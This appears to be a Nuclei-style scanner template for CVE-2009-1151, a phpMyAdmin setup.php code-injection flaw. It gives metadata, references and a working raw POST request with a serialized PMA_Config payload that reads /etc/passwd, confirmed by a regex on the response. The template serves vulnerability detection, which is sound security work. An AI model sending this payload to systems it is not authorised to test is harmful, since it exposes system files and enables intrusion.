PhpMyAdmin Scripts - Remote Code Execution

id: CVE-2009-1151

info:
  name: PhpMyAdmin Scripts - Remote Code Execution
  author: princechaddha
  severity: high
  description: PhpMyAdmin Scripts 2.11.x before 2.11.9.5 and 3.x before 3.1.3.1 are susceptible to a remote code execution in setup.php that allows remote attackers to inject arbitrary PHP code into a configuration file via the save action. Combined with the ability to save files on server, this can allow unauthenticated users to execute arbitrary PHP code.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the affected system.
  remediation: |
    Update PhpMyAdmin to the latest version or apply the necessary patches.
  reference:
    - https://www.phpmyadmin.net/security/PMASA-2009-3/
    - https://github.com/vulhub/vulhub/tree/master/phpmyadmin/WooYun-2016-199433
    - http://phpmyadmin.svn.sourceforge.net/viewvc/phpmyadmin/branches/MAINT_2_11_9/phpMyAdmin/scripts/setup.php?r1=11514&r2=12301&pathrev=12301
    - http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php
    - https://nvd.nist.gov/vuln/detail/CVE-2009-1151
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2009-1151
    cwe-id: CWE-94
    epss-score: 0.79256
    epss-percentile: 0.98197
    cpe: cpe:2.3:a:phpmyadmin:phpmyadmin:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: phpmyadmin
    product: phpmyadmin
  tags: cve,cve2009,deserialization,kev,vulhub,phpmyadmin,rce

http:
  - raw:
      - |
        POST /scripts/setup.php HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
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